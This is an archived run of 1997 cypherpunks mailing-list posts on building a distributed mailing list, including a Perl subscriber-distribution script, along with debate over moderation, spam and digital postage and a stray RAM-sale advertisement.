Remailer (fwd) Sender: owner-cypherpunks at toad.com To: cypherpunks at toad.com Message-id: <199702130159.RAA13474 at toad.com> X-Envelope-to: EALLENSMITH Precedence: bulk Forwarded message: > Date: Wed, 12 Feb 1997 18:47 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > > Someone with more experience correct me if I'm wrong (I'm just > starting to learn about mailing list management), but isn't saving > at least the first bounce from a given address good in order to check > what address is the one that's actually bouncing? Admittedly, this only > applies to badly-formed bounces. The rest can just have the address > noted. Hmmm, I can see saving the address causing the bounce in some sort of array that is indexed to the majordomo subscription list for a given remailer. It would not cost anything but overhead to save the entire message. I guess my motivation was not that I cared their mailbox was full or it was a invalid address but that I wouldn't be able to deliver at this time. I just don't see any reason that it helps me to know why they can't receive mail only that they can't. [re: bi-directional news-mail gateways] >> >Want to volunteer? >> >> Give me some idea of how much programming knowledge, time, etcetera >> is required, please, before I can answer. I'd be renting space on some other >> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level >> programming language (i.e., beyond Applesoft Basic) that I know anything of >> is Perl (and I don't know that all that well); and I am somewhat busy with >> other stuff. In other words, it depends. >Hmmm, not shure how much programming it would take - never done it myself. >I think Perl would be an acceptable language. I certainly hope to do the >majority of the scripts on the CDR in Perl myself. Perhaps there is somebody >who knows the fine points of how INN cache's messages. Redbeard and I had a >short discussion about this issue today relating to tracking messages to >reduce mail-loops. I will discuss it with him and see what happens. So far as I can tell, there are two types of news2mail gateways in common usage: newsgate, which is in C, and the standard LISTSERV bit.listserv.* gatewaying. I don't know C and don't have that much reason to learn it (perl makes a lot more sense to me); therefore, I'd need to locate a perl version or let someone else take care of the actual programming end of it, with me just handling what the programming person didn't. Hmm... I wonder if Lance would be available for the programming? I'd probably be using an account on cyberpass.net for the gateway in any event. -Allen From ravage at EINSTEIN.ssz.com Thu Feb 13 11:22:48 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 11:22:48 -0800 (PST) Subject: distributed mailing list architecture (fwd) Message-ID: <199702131929.NAA04666@einstein> Forwarded message: > Date: Fri, 7 Feb 1997 20:11:15 GMT > From: Adam Back > Subject: distributed mailing list architecture > Igor Chudov writes: > > I'd suggest a simplier solution: to connect each server with a couple, > > or maybe three, other servers. This scheme is rather robust, does not > > consume too much CPU time and bandwidth, and is easy to implement. > > I'm not sure what the architecture you are suggesting is, but this is > what I suggest as the simplest to set up. I envision it to look like a fishnet. > Have one main majordomo. There should be no "one main" anything on this project. > You subscribe to the main majordomo request address, and it forwards > your subscription request to a random mail-exploder. > > You unsubscribe to the main majordomo request address, and it forwards > your subscription to all the mail-exploders request addresses > (unsubscribe traffic is low anyway, keeping track of who is subscribed > where at the main major domo doesn't seem worth it). > > Each person who wishes to run an exploder is subscribed (manually) to > the main majordomo. > > You submit articles to the main majordomo, and it sends copies of the > articles to it's subscribers (the mail-exploders). > > The mail-exploders send mail to the address on their subscriber lists. > > (John Gilmore suggested this architecture, as a simpler alternative). Simpler? Hardly. With the remailer chain proposal we could have a working remailer network up in a couple of more days. What you propose will take weeks to write and debug code and then follow it through. No, this approach is neither simple or efficient. What I call a fishnet toplogy is much cleaner. Each node only has to filter messages where it was in the source chain. Easy to do with procmail, if you look at the first example on the man page, eg how to dump to dev/null, you find a perfect example of what procmail needs to do. It does not need to know who else is on the network (as in a star) and its traffic consists of one copy of each incoming instead of n copies from each of the 'star' remailers plus the outgoing from the local subscribers. A easy protocol can be arranged so that if the downstream remailer breaks it subscribes to the next one in the chain, again easy to do with just a few lines of code... If (bounce count of next site expires) { subscribe backup feed } If (next site returns) { unsubscribe backup feed } As to the actual architecture: A --> D ^ \ ^ \ / v / v C <-- B <-- E ^ | v N (mail-news gateway) Again, several nice features are: * Can be gotten up from a stock majordom/procmail install in a trivial manner * Site only has to filter mail from itself * It only has to keep up with two sites in the network instead of many (support for limited scope and anonymity) * Each site gets a critical feed from only 1 other site so traffic of duplicates is a minimum * Except for sites on the boundary of the net every site has two places to send its output, adding to robustness, if we allow the edges to wrap (eg torus) then no sites have less than 2 other sites to send traffic to. * Supports various levels of encryption or authentication on a link by link basis, not forcing all members to submint to a general architecture * Scales easily, something the star model does not do since hub machines must grow at a rate dependant on the total number of remailers in the chain this equates to mullah and lots of it should the network take off * The actual number of machines in a given chain is flexible, I would guess the number should match a plane tiling figure, triangle (n=3), squares (n=4), or hexagons (n=6) * Traffic analysis and sync floods are harder to impliment in this architecture than a star or hub based network * Supports 'little' machines and operators who are not guru's or have deep pockets Jim Choate CyberTects ravage at ssz.com From roach_s at alph.swosu.edu Thu Feb 13 11:39:00 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Thu, 13 Feb 1997 11:39:00 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702131938.LAA09484@toad.com> At 09:23 PM 2/12/97 -0800, jim bell wrote: ... >I decided long ago (okay, well, many months ago) that the "solution" is to >invent a mechanism to allow spammers/advertisers to include a small amount >of ecash as a gift with every spam. I figure that if USnail junk-mailers >are willing to pay $0.32 for postage and probably $0.50 for production, >printing, and labelling costs, all for no guarantees of results, they should >even more happy to pay, say, 10 cents to each recipient. At that rate, an average >person would probably receive enough "spam" to pay for his Internet >account, quite analogous to the way advertiser-supported TV is presented to >the public for no explicit charge. First of all, they don't spend 32 cents per post. They get one of those bulk-mail permits which allows them to send those at a significant savings. The whole package complete with the cheap "Yes, I'll try your service, and send me the free gizmo"/"No, I don't need any more services, but I could use the free gizmo" stickers probably costs well within 50 cents. TV is not a gift per say, though your origional posts, involving a cookie, suggested something closer to TV. Currently, advertiser subsidized services, like hotmail, Yahoo, and similair, are closer in that you get the gift with only the minor distraction of the advertisement. A more functional system might be to include a cryptographic "key" of only a few bytes in the e-mail post that opens some online service of relative value. Along the lines of a hidden, no URL FTP site with all the best downloads. This would not be dependant upon e-cash being in place. Would require that the customer read at least part of the message in order to get the instructions on how to use the key. Prevent the user from just handing out the key to whoever asked as it would probably have a limited lifespan. And give the sender some location from which to conduct polling, headcounts, etc. From warlord at MIT.EDU Thu Feb 13 11:41:33 1997 From: warlord at MIT.EDU (Derek Atkins) Date: Thu, 13 Feb 1997 11:41:33 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702131941.LAA09515@toad.com> Anil Das writes: [snip] > It detects duplicates by Message-Id. Unfortunately, the messages that make it through to the cypherpunks list have their MessageID changed when they get approved. So, checking for duplicates by MessageID fails, given the current approval mechanism. :( I've informed Sandy of the problem, but he doesn't know how to preserve the original MessageIDs. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord at MIT.EDU PGP key available From aba at dcs.ex.ac.uk Thu Feb 13 11:42:38 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 13 Feb 1997 11:42:38 -0800 (PST) Subject: distributed mailing list architecture Message-ID: <199702131942.LAA09523@toad.com> Igor Chudov writes: > I'd suggest a simplier solution: to connect each server with a couple, > or maybe three, other servers. This scheme is rather robust, does not > consume too much CPU time and bandwidth, and is easy to implement. I'm not sure what the architecture you are suggesting is, but this is what I suggest as the simplest to set up. Have one main majordomo. Have many mail-exploders. You subscribe to the main majordomo request address, and it forwards your subscription request to a random mail-exploder. You unsubscribe to the main majordomo request address, and it forwards your subscription to all the mail-exploders request addresses (unsubscribe traffic is low anyway, keeping track of who is subscribed where at the main major domo doesn't seem worth it). Each person who wishes to run an exploder is subscribed (manually) to the main majordomo. You submit articles to the main majordomo, and it sends copies of the articles to it's subscribers (the mail-exploders). The mail-exploders send mail to the address on their subscriber lists. (John Gilmore suggested this architecture, as a simpler alternative). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Igor Chudov > I would like to set up my majordomo to request subscription > confirmations from users, by sending them a cookie. Looking at the > majordomo config files, I have not found such option. > > Ideally I would like to have a system that a) requires the > new users confirm new subscriptions and b) once in a while > asks users to confirm their existing subscriptions. > > Is there any way to do it? Perry Metzger does this for cryptography at c2.net. I asked him what modifications to majordomo he used, and he said he has no mods. I think that you just need to upgrade to the latest version. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 At 5:00 AM +0000 2/13/97, Attila T. Hun wrote: >on or about 970212:1525 "Timothy C. May" said: >+Having said this, the flaw remains that "junk mail" is "free" to the >+sender. This is a flaw in the ontology of e-mail, and needs to be >+fixed. Digital postage is one approach. > > probably cut down on our postings to cp as well! 32 cents to post? > I'm sure Attila does not believe any digital postage scheme would fix the message rate at 32 cents, but it's an issue worth expanding upon. First, the rate would be based on true market conditions, presumably. That is, carriers of traffic would negotiate rates. Multiple stages of carriage would involve negotiation between carriers. (As with shipment of physical goods, where a shipment from Alice to Bob might involve several carriers: trucks, trains, warehouse use, delivery vans, toll road fees. All are "folded in" to the $3 or whatever charge paid by Alice or Bob, depending.) Second, the carriage charges for an ordinary e-mail message would likely be in the sub-cents range. Third, I don't see this ontological restructuring happening anytime soon. People have gotten used to "free" services. Fourth, we need to be alert to moves by the U.S. Postal Service to get a foot in the door for "digital postage." There's nothing they'd like more than having people clamor for the government to "do something!" about spam and "unwanted mail" and thus get this foot in the door. > unfortunately, until the irresponsible tone down their greed, we > need the regulation to protect ourselves from the predators. > > in other words, I agree with you in my heart, but our society > refuses to cooperate. Attila and I have had this disagreement before (last time it involved Attila's support for curfews). Attila is free to hire agents to screen his mail so he does not receive spam. He is not free, in a free society, to force such screeners upon me. Talking about "irresponsible tones" and "greed" and how we need more laws to protect ourselves from "predators" sounds more like something from the Marin County limousine liberal set than from a Utah mountain man Cypherpunk. I'm shocked, simply shocked. (:-}) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ichudov at algebra.com Thu Feb 13 11:58:34 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 11:58:34 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702131958.LAA09852@toad.com> subs-cri-be to the unedited list. igor Derek Atkins wrote: > > Anil Das writes: > > [snip] > > It detects duplicates by Message-Id. > > Unfortunately, the messages that make it through to the cypherpunks > list have their MessageID changed when they get approved. So, > checking for duplicates by MessageID fails, given the current approval > mechanism. :( > > I've informed Sandy of the problem, but he doesn't know how to > preserve the original MessageIDs. > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > warlord at MIT.EDU PGP key available > - Igor. From vipul at pobox.com Thu Feb 13 11:58:38 1997 From: vipul at pobox.com (Vipul Ved Prakash) Date: Thu, 13 Feb 1997 11:58:38 -0800 (PST) Subject: CompuServe reports e-mail court victory Message-ID: <199702131958.LAA09862@toad.com> *** CompuServe reports e-mail court victory CompuServe, after winning a court decision making unauthorized junk e-mail illegal, responded Thursday to a report that Cyber Promotions, Inc., a commercial mass e-mailer, would not accept a federal court's halting of its spamming activities directed against CompuServe subscribers. Cyber Promotions indicated that it would appeal the decision, which follows the settlement of a similar suit. That settlement allows Cyber Promotions to send junk e-mail to another Internet service provider's members. CompuServe said its goal "was to see this through to a binding court decision." For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29 -- Vipul Ved Prakash | - Electronic Security & Crypto vipul at pobox.com | - Web Objects 91 11 2233328 | - PERL Development 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - Networked Multimedia From ici at ici.net Thu Feb 13 11:58:40 1997 From: ici at ici.net (Rhode Island Business Net) Date: Thu, 13 Feb 1997 11:58:40 -0800 (PST) Subject: RAM CHIP SALE! Message-ID: <199702131958.LAA09863@toad.com> RIBN appologizes for any inconvenience this e-mail may have cause. In no way does RIBN mean to offend or upset any persons, please delete the e-mail if you are not interested. Thank you. 16 Megs EDO - $76.99!! 8 Megs EDO - $36.99!! 4 Megs EDO - $19.99!! Rhode Island Business Nets Ram Blow-out SALE!! Why pay $10-15 per meg at major computer stores? Rhode Island Business Net Inc can upgrade your RAM for as low as $4.81 per meg EDO, NON EDO, or Parity. Includes installation instructions and 1 year warranty. All order shipped US Postal Priority Mail Call toll free 1-800-785-3799 10-6 EST Mon - Sat Visa, Mastercard, Discover Card and American Express accepted. Quanities limited call now! Offer expires Feb. 28, 1997 32 Megs EDO - $149.99 32 Megs non-edo - $149.99 32 Megs Parity - $157.99 16 Megs EDO - $76.99 16 Megs non-edo - $76.99 16 Megs Parity - $ SOLD OUT 8 Megs EDO - $36.99 8 Megs non-edo - $36.99 8 Megs Parity - $54.99 4 Megs EDO - $19.99 4 Megs non-edo - $19.99 4 Megs Parity - $25.99 30 pin available call for prices Call 1-800-785-3799 to order CALL NOW!! --------------------------------------------------------------------------------------------------------------------------------------------------- From tcmay at got.net Thu Feb 13 11:58:50 1997 From: tcmay at got.net (Tim May) Date: Thu, 13 Feb 1997 11:58:50 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702131958.LAA09879@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 11:42 AM -0500 2/13/97, Derek Atkins wrote: >Unfortunately, the messages that make it through to the cypherpunks >list have their MessageID changed when they get approved. So, >checking for duplicates by MessageID fails, given the current approval >mechanism. :( > >I've informed Sandy of the problem, but he doesn't know how to >preserve the original MessageIDs. I will phrase my message here as respectfully as possible vis-a-vis the goals of the moderation experiment. That is, I will only deal with one aspect, the one of _costs_ of the moderation experiment. To wit, the _costs_ of the moderation experiment--Sandy's time, our time spent debating moderation, and now the issues raised by Michael Froomkin and others about dealing with the chaos of multiple, overlapping lists--greatly exceed the relatively small amount of effort it took anyone to simply delete the insult posts, the ASCII art posts, etc. I respectfully submit that the huge costs incurred on several parties have cumulatively far exceeded the minor savings of not having a handful of the 'bot-generated insults of the day and some of the ASCII art generated. As to the "comity" of the list, the moderation experiment has clearly had just the opposite effect, predictably. (Imposing comity is rarely easy, especially given an independent bunch of folks who are suspicious of moderators screening their words for evidence of non-comity!). And the ill will generated toward certain folks has been regrettable, and vastly more costly than any minor savings in not having to see a few messages. "Keep it simple, stupid," the oft-quote KISS principle. A moderation scheme--except perhaps those run very tightly a la Peter Neumann's RISKS list--almost always bogs down into debates about the moderation criteria, the acceptability of certain posts, and so on. Now we see another effect: multiple lists and a confusing array of cross-posts, mail-to-News gateways, News-to-mail gateways, etc. The "Cypherpunks Way" is to encourage and empower people to filter their own stuff, or to hire outside contractors to do it for them. Failing that, to let them twist slowly in the wind. "Think of it as evolution in action." The Cypherpunks Way is also the simplest system. I hope this episode has reminded us of this lesson. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 13 11:58:54 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 13 Feb 1997 11:58:54 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702131958.LAA09890@toad.com> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 23:19:40.35 >> From: "E. Allen Smith" >> Someone with more experience correct me if I'm wrong (I'm just >> starting to learn about mailing list management), but isn't saving >> at least the first bounce from a given address good in order to check >> what address is the one that's actually bouncing? Admittedly, this only >> applies to badly-formed bounces. The rest can just have the address >> noted. >Hmmm, I can see saving the address causing the bounce in some sort of array >that is indexed to the majordomo subscription list for a given remailer. It >would not cost anything but overhead to save the entire message. I guess my >motivation was not that I cared their mailbox was full or it was a invalid >address but that I wouldn't be able to deliver at this time. I just don't >see any reason that it helps me to know why they can't receive mail only that >they can't. Well, if you can't deliver mail because their mailbox is full, then you should simply wait a few days before trying to deliver mail to that address. If it's because the address isn't there any more, you should delete it from the subscription lists. Otherwise, the instant people's mail quotas overflow (e.g., they're on AOL and they haven't been able to get through the clogged lines), they get bounced... or you're left with a lot of invalid addresses. The address causing the bounce is not necessarily determinable automatically from the bounce message; if it isn't, then you need to keep a copy around for a human to look at. [re: bi-directional news-mail gateways] >> >Want to volunteer? >> >> Give me some idea of how much programming knowledge, time, etcetera >> is required, please, before I can answer. I'd be renting space on some other >> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level >> programming language (i.e., beyond Applesoft Basic) that I know anything of >> is Perl (and I don't know that all that well); and I am somewhat busy with >> other stuff. In other words, it depends. >Hmmm, not shure how much programming it would take - never done it myself. >I think Perl would be an acceptable language. I certainly hope to do the >majority of the scripts on the CDR in Perl myself. Perhaps there is somebody >who knows the fine points of how INN cache's messages. Redbeard and I had a >short discussion about this issue today relating to tracking messages to >reduce mail-loops. I will discuss it with him and see what happens. Given that there are pre-existing news-mail gateways, I'd think that the programs should be available. My concern on the programming is more in the realm of keeping the thing up and running. >I know exactly what you mean. I have two full-time jobs and hadn't really >thought of taking on the cpunks list in any manner. But hey, that is the >spice in life... Understood; my busy-ness with other stuff comes from being a grad student. >Give me a couple of days to look at the situation and if somebody don't beat >me to it I'll post what I find out. Cool? Looks OK. I'll also take a look around for what information I can find. -Allen From Thomas.Roessler at sobolev.rhein.de Thu Feb 13 11:58:56 1997 From: Thomas.Roessler at sobolev.rhein.de (Thomas Roessler) Date: Thu, 13 Feb 1997 11:58:56 -0800 (PST) Subject: distributed mailing list architecture Message-ID: <199702131958.LAA09891@toad.com> Maybe you have some use for the appended perl script. I created it for a list setup quite similar to what is currently being discussed on cypherpunks. It has never ever been used in production; you'll notice yourself that the code is not too nice. The script currently tries to handle majordomo and SmartList exploders; at least SmartList needs to be hacked a little bit to avoid daily subscription approvals to people being moved between different sub-lists. Distribute and use this script freely; credit is appreciated. tlr ------------------------------ #!/usr/bin/perl ############################################################ # # $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $ # # # Handle distributed mailing lists. # require 'getopts.pl'; $c_sublists='lists'; # Data about the sublists $c_distfile='dist'; # A list of mail addresses $c_datafile='dist.data'; # _Our_ list of addresses $c_contact='roessler at sobolev.rhein.de'; # Whom to contact in case of problems $sendmail="| /usr/sbin/sendmail -t -odq"; $debug=0; # Debugging output. Can also be # turned on by using the -x switch. $signature="-- \nThis mail has been generated automatically by the distlist\n". "program. Please contact $c_contact in case of problems.\n"; @sublists=(); @newsubs=(); # # Command line processing # &dprint (1, 'Processing the command line...\n'); &Getopts('s:d:D:c:x:'); $c_sublists=$opt_s if $opt_s; $c_distfile=$opt_d if $opt_d; $c_datafile=$opt_D if $opt_D; $c_contact=$opt_c if $opt_c; $debug=$opt_x if $opt_x; # # Read the data and config files, perform various checks. # # # sublists # &dprint(1, "Reading $c_sublists..."); # format: addr:maxsubscr:listtype:password:adminrequest:maintainer open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists"); SUBLIST: while() { next SUBLIST if /^#/ || /^$/; chop; ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_); $s_maxsubscr{$addr}=$maxsubscr; $s_listtype{$addr}=$listtype; $s_password{$addr}=$password; $s_admin{$addr}=$admin; $s_maintainer{$addr}=$maintainer; $s_onlist{$addr}=0; $s_addem{$addr}=""; $s_delem{$addr}=""; &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer"); @sublists=(@sublists, $addr); } close(SUBLISTS); # In addition, we define a special list for people to be redistributed later. $s_maxsubscr{'later'}=100000; # Very big. ;) $s_listtype{'later'}=""; $s_password{'later'}=""; $s_onlist{'later'}=0; $s_addem{'later'}=""; $s_delem{'later'}=""; # # Read our dist file # # format: user:list if(open(DATAFILE, $c_datafile)) { &dprint(1, "Reading $c_datafile..."); USERLINE: while() { next USERLINE if /^#/ || /^$/; chop; ($user, $list) = split(/:/, $_); # Check if the list exists; handle user. if(! $s_maxsubscr{$list}) { &dprint(2, "While checking user $user: $list does no longer exist."); $list="later"; } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) { &dprint(2, "Warning: $list is full. Redistributing people later."); $s_delem{$list}=join(':',$user,$s_delem{$list}); $list="later"; } $s_onlist{$list}++; $u_list{$user}=$list; $deletem{$user}=$user; } close(DATAFILE); &dprint(1,"$c_datafile finished."); } else { &dprint(1, "Warning: Can't read $c_datafile."); } # # Now, read the real distribution file. # &dprint(1, "Reading $c_distfile..."); open(DISTFILE, $c_distfile) || die("Can't open $c_distfile"); DISTLINE: while() { next DISTLINE if /^#/ || /^$/ || /^\(/; chop; if(!$u_list{$_}) { # A new member. &dprint(2, "Found a new member: $_."); @newsubs=($_, @newsubs); } else { # We know him. &dprint(3, "Well-known: $_."); delete $deletem{$_}; } } close(DISTFILE); # # Handle deletions. # foreach $user (keys %deletem) { $list=$u_list{$user}; delete $u_list{$user}; $s_onlist{$list}--; $s_delem{$list}=join(':', $s_delem{$list}, $user); &dprint(3, "Removing $user from sublist $list."); } # # Handle postponed subscriptions: The later list. # foreach (keys %u_list) { next unless $u_list{$_} eq "later"; @newsubs=($_, @newsubs); delete $u_list{$_}; &dprint(3, "Adding $_ to the list of new subscriptions. Was postponed."); } &dprint(1, "Distributing new subscriptions..."); NEWSUBS: foreach $user (@newsubs) { $avg=0.0; foreach $l (@sublists) { $avg += $s_onlist{$l}/$s_maxsubscr{$l}; } $avg = $avg / ($#sublists + 1.0); if ($avg >= 1) { &dprint(2, "Warning: All sublists are full while trying to insert $user."); } undef $possible; foreach $l (@sublists) { if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) { $possible=$l; } if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) { last; } } if($possible) { $l = $possible; } $s_addem{$l}=join(':', $s_addem{$l}, $user); $s_onlist{$l}++; $u_list{$user}=$l; } # # Write our own data file. # if(open(DATAFILE, ">$c_datafile")) { foreach (keys %u_list) { printf DATAFILE "%s:%s\n", $_, $u_list{$_}; } close(DATAFILE); } else { &dprint(1, "Warning: Can't write $c_datafile."); } # # The lists have been put together. Commit the changes. # &dprint(1, "Committing the changes..."); foreach $l (@sublists) { if($s_listtype{$l} eq "majordomo") { &commit_majordomo($l); } elsif ($s_listtype{$l} eq "smartlist") { &commit_smartlist($l); } else { &dprint(1, "While trying to commit changes for $l:"); &dprint(1, "Unknown list type $s_listtype{$l}.\n"); } } # # To be done: Print out some statistics. # print "Distlist results:\n"; print "-----------------\n"; print "\n"; printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1; $full_lists=0; printf "%-40s on max\n", "Name"; printf "----------------------------------------------------\n"; foreach $l (@sublists) { printf "%-40s %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l}; if($s_onlist{$l} >= $s_maxsubscr{$l}) { print " *** This list is full ***"; $full_lists++; } print "\n"; } if($full_lists) { print "\n$full_lists of the sublists are *full*. Please get in touch\n"; print "with the maintainers.\n"; } print "\n\n"; print $signature; ############################################################ # # Some helper functions. # # Print out diagnostics. sub dprint { if($_[0] <= $debug) { printf STDERR "%s\n", $_[1]; } } sub commit_majordomo { my $list=$_[0]; my @bla; my $ll; my $user; &dprint(2, "Committing changes to majordomo list $list"); &dprint(3, "to be added: $s_addem{$list}"); &dprint(3, "to be deleted: $s_delem{$list}"); ($ll, @bla)=split(/@/, $list); if(!open(SENDMAIL, $sendmail)) { &dprint(1, "Warning: Can't start sendmail when committing changes to $list"); } print SENDMAIL "To: $s_admin{$list}\n"; print SENDMAIL "From: $c_contact\n"; print SENDMAIL "\n\n"; foreach $user (@bla=split(/:/, $s_addem{$list})) { print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n" if $u_list{$user}; } foreach $user (@bla=split(/:/, $s_delem{$list})) { print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n" unless $u_list{$user} eq $list; } print SENDMAIL $signature; close(SENDMAIL); } sub smartlist_xcommand { my ($list, $to, $passwd, $command, $maintainer) = @_; if(!open(SENDMAIL, $sendmail)) { &dprint(1, "Can't start sendmail when committing changes for $list"); } print SENDMAIL "To: $to\n"; print SENDMAIL "From: $c_contact\n"; print SENDMAIL "X-Command: $maintainer $passwd $command\n"; print SENDMAIL "\n\n"; print SENDMAIL $signature; close SENDMAIL; } sub commit_smartlist { my $list=$_[0]; my @bla; my $user; &dprint(2, "Committing changes to smartlist list $list"); foreach $user (@bla=split(/:/, $s_addem{$list})) { &smartlist_xcommand($list, $s_admin{$list}, $s_password{$list}, "subscribe $user", $s_maintainer{$list}) if $u_list{$user}; } foreach $user (@bla=split(/:/, $s_delem{$list})) { &smartlist_xcommand($list, $s_admin{$list}, $s_password{$list}, "unsubscribe $user", $s_maintainer{$list}) unless $u_list{$user} eq $list; } } From paul at fatmans.demon.co.uk Thu Feb 13 12:00:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Thu, 13 Feb 1997 12:00:58 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <199702132000.MAA09927@toad.com> > Now that cypherpunks is moving, to both a newsgroup and one or more > mailing lists, there's still a need for cypherpunks-announce or > something like it. So far it's carried 1-2 announcements per month. > > Should we create it as a mailing list, moderated or unmoderated, > or as a newsgroup? (It's been a moderated mailing list, run by John and > Hugh.) I newsgrouped several sub groups along with alt.cypherpunks. alt.cypherpunks.announce alt.cypherpunks.social alt.cypherpunks.technical but they do not appear to have taken effect (my local news server refuses to see them). Can anyone else see them? - If not I`ll have a word with my newsadmin. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From pdh at best.com Thu Feb 13 12:01:24 1997 From: pdh at best.com (Peter Hendrickson) Date: Thu, 13 Feb 1997 12:01:24 -0800 (PST) Subject: distributed mailing list architecture Message-ID: <199702132001.MAA09942@toad.com> At 12:11 PM 2/7/1997, Adam Back wrote: >Igor Chudov writes: >> I'd suggest a simplier solution: to connect each server with a couple, >> or maybe three, other servers. This scheme is rather robust, does not >> consume too much CPU time and bandwidth, and is easy to implement. > I'm not sure what the architecture you are suggesting is, but this is > what I suggest as the simplest to set up. > Have one main majordomo. > Have many mail-exploders. > You subscribe to the main majordomo request address, and it forwards > your subscription request to a random mail-exploder. > You unsubscribe to the main majordomo request address, and it forwards > your subscription to all the mail-exploders request addresses > (unsubscribe traffic is low anyway, keeping track of who is subscribed > where at the main major domo doesn't seem worth it). > Each person who wishes to run an exploder is subscribed (manually) to > the main majordomo. > You submit articles to the main majordomo, and it sends copies of the > articles to it's subscribers (the mail-exploders). > The mail-exploders send mail to the address on their subscriber lists. > (John Gilmore suggested this architecture, as a simpler alternative). This mostly solves the performance problem, but performance was not the only choke point. It is important to have many machines which accept posts and which send them to other machines. (Also, many interconnections means that few messages have to go through more than two machines which should make message distribution extraordinarily fast and highly redundant. Standing in the way of the cypherpunks list will be like standing in the way of the wind.) I suggest we consider the problem of subscriptions to be independent of the problem of posting and distributing messages. Some machine owners may wish to pool subscription activities. The fast and easy approach is to have an official cypherpunks subscription page which lists all of the mail servers which will accept new subscribers. (The person who maintains this page would ideally not be somebody running a mail server.) The interested person looks at the page and then picks a majordomo to subscribe to. It seems beneficial to me from a technical and social standpoint to have a web of relationships between list managers and subscribers. If as a subscriber you have some sort of problem (technical or social), it will work better if there is just one person to talk to rather than a loose network of volunteers. Peter From roach_s at alph.swosu.edu Thu Feb 13 12:01:39 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Thu, 13 Feb 1997 12:01:39 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702132001.MAA09945@toad.com> At 10:28 PM 2/12/97 -0800, Hal Finney wrote: >From: Sean Roach ... >> Another idea that has been festering. If we could get a CPA involved in >> this forum, I would be willing to have h[im/er] sign my key, (which is >> seldom used, mostly because this is the only place I use e-mail), for that >> reasonable fee that CPA's can charge. I know that it is not a standard, or >> even legally recognized, post for CPA's, but I think that enough people >> would trust them. > >The big question with identity certificates is what procedures were followed >in verifying the identity when the cert was issued. If the CPA publishes >some standard method, and his reputation is strong enough that people will >trust him to follow it, then it might well be worth money to you to have >him sign it. This is the traditional role of the Certification Authority. > >> This would take care of some of the "newly minted" key problems. Since >> getting someone who is trusted to sign your key is a recognized method of >> getting people to believe you are who you say you are. > >It depends on the circumstances where you expect to use your key. Within >a small to medium circle of associates there may be some group members >who sign keys and are trusted by other members of the group. There is >no particular reason for it to be difficult. If you want a signature which >will be accepted by everyone in the U.S. you have a harder problem. As far as I am aware, a CPA is supposed to require a photo ID. Since this is the method by which absentee voting is accomplished. A supposedly anonymous system, (using two envelopes, the postmaster only knows that you voted, the vote counter only knows that it came by mail, the public only knows how many people are absentee voters, and who, the voter assumes that the system works), requiring the CPA as a witness to the identity of the 